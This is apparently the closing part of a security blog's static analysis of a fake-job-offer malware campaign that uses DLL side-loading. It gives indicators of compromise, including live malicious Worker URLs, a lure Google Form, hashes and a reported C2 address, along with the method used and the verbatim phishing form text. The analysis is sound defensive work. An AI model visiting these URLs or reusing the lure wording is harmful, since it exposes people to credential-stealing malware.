  3. What role the embedded Node.js runtime and native addon play. §6.4 identifies them precisely - a stock Node.js 20.20.2 node.exe and a Node-API addon - but whether the malware ever loads them, or whether they are a build-environment artefact, cannot be settled without executing the sample.
  4. The purpose of the 3.1 MB encrypted tail in the container, and of the 6,376-byte encrypted blob in the ZIP comment.
  5. Whether the payload is re-encrypted per victim or merely re-randomised. The bytes differ at identical offsets; the mechanism is not visible statically.
  6. The identity of the operator. No attribution is claimed. The persona, the Worker subdomain and the .cc domain are infrastructure, not identity.
  7. How many victims exist. The Worker provides no public counter, and per-victim rebuilds make hash correlation useless.

Resolving (1) and (2) requires dynamic analysis - executing the loader in an isolated VM to capture the decrypted stage and any C2 traffic. I deliberately did not do that: this sample detects analysis environments, and the campaign family exfiltrates credentials on execution. If you want to go that far, do it on host-only networking, from a reverted snapshot, with no shared folders, clipboard or drag-and-drop.


15. Indicators of compromise
#

15.1 Files
#

1
2
3
4
5
6
7
8
9
# Delivered archive (sample 1 of N)
1d63d06c9c092310544014956f69cb24c177bf9bfa9233d4734a6183dcc87c9d  Apex_Role_Information_<token>_Document0926_<date>.zip   167,140,622 B

# Members
8cd271f946d84423c554992eb0176be395cdd7bf6179efe1822759d019c94f34  Apex_Role_Information_Document0926.exe   1,756,880 B  (genuine signed WinWord.exe)
64978b374ad0f85a34b07733b124f0bba3fb9d098966771a9ec20779ad0fea9c  AppvIsvSubsystems32.dll                 137,500,856 B  (malicious, 137 MB encrypted overlay)
3faac52d9feb85d3eb9e50ecfa1885fa9963edf8f31bfc853e34c0a46007abf4  ~tmp05853C8.pdf                          70,000,757 B  (decoy container)
d164cb20e5b60531061dd9b25f22fd3d0cdbb1e6e36fc5a120056b0546b5917e  msvcp140.dll                                450,128 B  (genuine)
226c182cee6430bdaf4c9986bd5efac5e7d1b8b831c9a6c9ae3bfd7d19a8bb2c  vcruntime140.dll                             90,192 B  (genuine)

15.2 Non-hash indicators (survive per-victim rebuilds)
#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
IMPHASH (loader)      f023301e5028c4161fbaafe75e305cff
IMPHASH (hijack DLL)  5b068b99f9d78ce4f4d615d860cf9d9d
PDB path (loader)     D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\winword.pdb
Export (ordinal 1)    APIExportForDetours
Export (last)         _IsProcessHooked
Export count          2027, all aliasing RVA 0x1000, 227-word vocabulary
Filename stem         Apex_Role_Information_<6 hex>_Document0926_<YYYYMMDD>.zip
Decoy member name     ~tmp<7 hex>.pdf
ZIP comment           "--- " + 12,752 lowercase hex chars + " ---"
ZIP member attrs      0x26 (hidden+system) on all but the loader

15.3 Network
#

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
https://forms.gle/R1eaaKHFe5KnH6v4A
docs.google.com/forms/d/e/1FAIpQLSfOxvVeaChkO0mIemod58ynqwlyQdh0q5KuIvb6E6t0PMnFgQ/viewform
https://tr.ee/Cb4hbc
ama.apexglobalhr666.workers.dev                       (Cloudflare Worker, AS13335)
ama.apexglobalhr666.workers.dev/share/152b513f7ffd8899e6629285
ama.apexglobalhr666.workers.dev/api/share/<token>
ama.apexglobalhr666.workers.dev/api/dl/request
ama.apexglobalhr666.workers.dev/dl/tmp_<40 hex>       (single-use)
ama.apexglobalhr666.workers.dev/static/favicon.svg
hr@apexglobe.cc                                        (contact address in the form)
apexglobe.com                                          (REAL domain, impersonated - not malicious)

15.4 Malwarebytes / SecLookup campaign IOCs shared with this chain
#

1
2
goo.su, fshare.vn, www.fshare.vn   (documented file-hosting stages in the same campaign family)
207.148.66.14                      (reported PureHVNC C2 - NOT observed in this sample)

Appendix A - Method and reproducibility
#

Everything was analysed statically inside a disposable Kali VM, reachable only over SSH. The host machine never received a payload byte and nothing was executed at any point.

Environment: Kali Linux (kernel 6.19) on VMware Workstation, NAT networking (192.168.46.128), 56 GB free.

Tools: curl, 7z 26.01, file, strings, xxd, binwalk, jq, Python 3.13 with pefile 2024.8.26, openssl (certificate parsing), chromium --headless (screenshot).

Key techniques used:

  • Redirect tracing with curl -D and -L to capture each hop’s headers without saving bodies.
  • API replay against the kit’s /api/share/ and /api/dl/request endpoints to obtain a one-time download token.
  • PE parsing with pefile for headers, sections, entropy, imports, exports, Rich headers, debug directories, version resources and overlay offsets.
  • Authenticode extraction: read the IMAGE_DIRECTORY_ENTRY_SECURITY blob, strip the 8-byte WIN_CERTIFICATE header, dump the PKCS#7 DER, and parse the chain with openssl pkcs7 -print_certs -text.
  • Entropy analysis on section data and on sliding 2 MB windows to locate encrypted regions.
  • Export-table analysis: enumerate all exports, confirm they alias a single RVA, and reverse the name generator by word-frequency analysis.
  • Container carving of PK structures inside the fake PDF, with self-validating slices.
  • Byte-range comparison across two downloads to test per-victim rotation (noting the Worker ignores Range).
  • Headless Chromium screenshot of the live portal - performed inside the VM, so the render came from the VM’s IP.

Provenance note: I briefly bridged the analysis VM was to an unrelated network during setup.


About the figures in this report
#

Every screenshot is a genuine capture of a live terminal - not a mock-up, and not a transcript re-typed into a styled box:

Four small helper scripts were written during the analysis and appear in the figures. They are the actual tooling behind several sections, so they are reproduced here:

ScriptPurpose
tools/peinfo.py <file> [offset]PE headers, sections, compile time, imphash, Rich header, PDB path, Authenticode presence, version resource
tools/dllinfo.py <file>Section/overlay arithmetic, entropy sampling, import table - used for the hijacked DLL
tools/exports.py <file> [offset]Export count, distinct-RVA count, sample names, generated-vocabulary size
tools/layout.py <file>Container region map: locates valid PE images by validating e_lfanew, finds the Node.js markers, measures the high-entropy tail

Ask if you want the helper scripts themselves.

Why this sample was not executed
#

Dynamic analysis is the one step that would decrypt the 137 MB stage and reveal the C2, and I deliberately did not take it. The reasons are specific rather than reflexive:

  1. The payload is built to detect exactly that environment. VirusTotal tags the DLL detect-debug-environment, and the stub resolves every API dynamically - a sandbox is the thing it is designed to recognise and refuse.
  2. Execution means egress from a real IP. The VM is NAT’d, so any C2 callback would originate from this network. That is an attribution problem, and - if the operator is logging - a “this victim is live” signal.
  3. The stealers in this campaign family exfiltrate on execution. Running it to see what it takes is a way of having it taken, if any real credential is reachable from the analysis environment.
  4. The yield is uncertain; the cost is not. The likeliest outcomes are a sample that refuses to run, or a stage that decrypts into another encrypted stage.

If you do want to go there, the minimum bar is: host-only networking with no internet at all, a snapshot taken immediately before, no shared folders, no clipboard or drag-and-drop, and no credentials of any kind inside the guest. Even then, treat everything the sample writes as hostile, and revert the snapshot afterwards.

Appendix B - The 227-word export vocabulary
#

The DLL’s 2,026 decoy exports are generated by joining words from this list (227 words in total):

1
2
3
4
5
Acorn, Almond, Anchor, Anvil, Apricot, Arrow, Badge, Bagel, Balloon, Bamboo,
Barrel, Basket, Beacon, Beetle, Biscuit, Blanket, Bobbin, Bolt, Bonnet, Bottle,
Boulder, Bracket, Bramble, Breeze, Bridle, Bristle, Brooch, Bubble, Bucket,
Bumble, Bunny, Button, Cactus, Candle, Canvas, Carrot, Castle, Chisel, Clamp,
… (227 total)

Word-frequency analysis across the 2,026 generated names shows an even distribution - a uniform random pick from the list, not a weighted scheme. The most-used words each appear 38-44 times across 7,133 total word slots:

WordUses
Basket44
Rabbit43
Toffee42
Saddle42
Carrot41
Nectar41
Siren41
Zigzag41

Appendix C - Verbatim form fields
#

The Google Form (rendered only for signed-in accounts) declared itself as:

New Project Cooperation Invitation - Advertising Specialist - Apex Logistics Group (Remote | Part-time) “Thank you for your interest in joining Apex Logistics Group. This form will help us get to know you better and also provides you with a Job Description - Apex Logistics Group inside. Please complete all sections carefully, using a computer to complete the form. Estimated time to complete: ~15 minutes. After submission, our HR team will reach out to you with the next steps.” “The name, email address and photo associated with your Google Account will be recorded when you upload files and submit this form.”

with the payload link presented as:

“As part of the interview process, please review the Job Description - Apex Logistics Group here: [Complete information about the job and the products - Apex Logistics Group]… For the best experience, please view this on a computer.”

and the closing instruction:

“Once you have completed all survey sections, please send an email to hr@apexglobe.cc with the subject line: ‘I have completed the survey and am ready for an interview.’ This requirement is intended to confirm your participation and help prevent automated or fraudulent survey submissions.”

Requested fields: full name · email · LinkedIn URL · country · years of Google Ads experience · campaign types managed · example campaign file upload · certifications · weekly hours · expected hourly rate · start date.

(The signed-in Google account displayed by the form has been redacted from this report.)


No malware samples are distributed with this report. Hashes are provided for lookup only.


References
#

  1. Malwarebytes Labs - That “job brief” on Google Forms could infect your device (March 2026)
  2. SecLookup - Exploiting Trust: PureHVNC RAT Delivery via Malicious Google Forms
  3. The Cyber Express - PXA Stealer: Vietnam-Linked Actors Exploit LinkedIn
  4. CraftedSignal - Potential DLL Side-Loading via Trusted Microsoft Programs (May 2026)
  5. Elastic - Potential DLL Sideloading via Trusted Microsoft Programs detection rule
  6. MalwareTips - file scan of a related AppvIsvSubsystems32.dll variant
  7. Joe Sandbox - Windows Analysis Report: AppVIsvSubsystems32.dll
  8. Corkami - PE format documentation (export obfuscation)

Analysis performed 2026-10-02. Everything above reflects what could be established statically; inferences are labelled as such. If you have a sample from the same campaign with a different hash, the structural indicators in §15.2 are the ones worth pivoting on.

I hope this was helpful
Posted:
Time since posted: calculating...
System.Motivation.Load()

Comments & Discussion

Share your thoughts, analysis, or questions below

0 Comments
Adonijah Kiplimo
Author
Adonijah Kiplimo
Cybersecurity professional specializing in Network & Cloud Security, Digital Forensics, and Penetration Testing. Passionate about sharing knowledge and empowering others through hands-on security training.

Related